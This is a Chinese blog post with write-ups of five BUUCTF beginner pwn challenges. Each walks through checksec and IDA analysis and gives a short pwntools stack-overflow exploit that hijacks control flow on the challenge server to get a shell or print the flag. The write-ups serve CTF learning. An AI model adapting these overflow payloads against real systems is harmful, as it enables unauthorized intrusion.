刷题 - BUUCTF(BUUOJ) - PWN - DAY3

文章详细描述了如何利用checksec和IDA等工具分析和解题五个网络安全竞赛题目,涉及栈溢出、canary检查、函数调用和系统命令执行,展示了Pwn技术在实际解题中的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

BUUCTF PWN

(一)test_your_nc

题目地址

test_your_nc

解题思路

  1. 用checksec查看,发现没有开启canary
    checksec

  2. 用IDA查看string,通过交叉引用发现main函数调用了/bin/sh
    ida
    command
    sh

  3. nc到靶机即可启动shell终端,得到flag
    nc

工具:checksec, IDA, nc

工具说明
#checksec
checksec --file=test
#nc
nc hostname port #监听服务器端口

(二)rip

题目地址

rip

解题思路

  1. checksec查看发现没有开栈保护,可以用栈溢出攻击
    checksec

  2. 用IDA查看函数,发现main函数调用了gets,没有检查栈溢出,此外还有一个fun函数执行/bin/sh,于是想到用栈溢出得到shell
    main
    在这里插入图片描述

  3. 用nm查看fun地址为0000000000401186
    nm

  4. 在IDA查看gets参数s长度为15
    s

  5. 构造EXP,请求靶机,得到flag

from pwn import *
sh=remote('node4.buuoj.cn',27298)
addr_of_fun = 0x401186
sh.sendline(b'A'*23 + p64(addr_of_fun+1)) # 23=15(输入参数s长度)+ 8(64位CPU下rdp宽度),+1为堆栈对齐
sh.interactive()

pwn

工具:checksec、IDA

(三)warmup_csaw_2016

题目地址

warmup_csaw_2016

解题思路

  1. 用checksec查看,发现没有开启canary
    checksec

  2. 用IDA查看string,通过交叉引用发现sub_40060D()方法调用了cat flag.txt
    catflagtxt
    pseudocode

  3. 综上,加上在main函数中发现危险函数gets(),因此要通过栈溢出触发sub_40060D()方法,右键菜单切换到text view记下地址
    getstextview

  4. 由char v5[64];知道v5的分配空间是64db,加上偏移量8db(64位系统默认),因此要72db才能满足栈溢出条件,编写EXP文件并执行

from pwn import *
sh=remote('node4.buuoj.cn',25131)
addr_of_40060D = 0x40060D
sh.sendline(b'A'*72 + p64(addr_of_40060D))
sh.interactive()

在这里插入图片描述

工具:checksec, IDA

(四)ciscn_2019_n_1

题目地址

ciscn_2019_n_1

解题思路

  1. 用checksec查看,发现没有开启canary
    check

  2. 用IDA查看string,通过交叉引用发现func函数调用了cat /flag,而main函数调用了func函数,func函数如果v2的值等于11.28125,即触发系统命令输出flag,所以我们的思路是通过gets函数的栈溢出改变v2的值,令其满足条件,而v1的大小为44db
    guess
    func
    main

  3. 11.28125换算成16进制为0X41348000,编写EXP,获取flag

from pwn import *
sh=remote('node4.buuoj.cn',26351)
v2 = 0X41348000
sh.sendline(b'A'*44 + p64(v2))
sh.interactive()

flag

工具:checksec, IDA

(五)pwn1_sctf_2016

题目地址

pwn1_sctf_2016

解题思路

  1. 用IDA查看string,通过交叉引用发现get_flag函数调用了cat flag.txt,而main函数调用了vuln函数,vuln函数包含一个gets函数,所以我们的思路是通过fgets函数的栈溢出去到get_flag函数的入口,令其执行cat flag.txt系统命令
    str

get_flag
vuln

  1. 上面程序的逻辑是写入字符串“you”,再写入字符串“I”,把I替换成“you”,相当于1个字节转换成3个字节,而s的地址为0000003C,相当于十进制的60,又因为有exeinfo看出程序是32位的,因此加4db的偏移,刚好溢出,再加上get_flag的地址8048F0D
    sget_flag_address
    exeinfo

  2. 编写EXP,获取flag

from pwn import *
sh=remote('node4.buuoj.cn',27965)
get_flag_address = 0X8048F0D
sh.sendline(b'I'*20 + b'a'*4 + p32(get_flag_address ))
sh.interactive()

flag

工具:checksec, IDA, Exeinfo PE

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值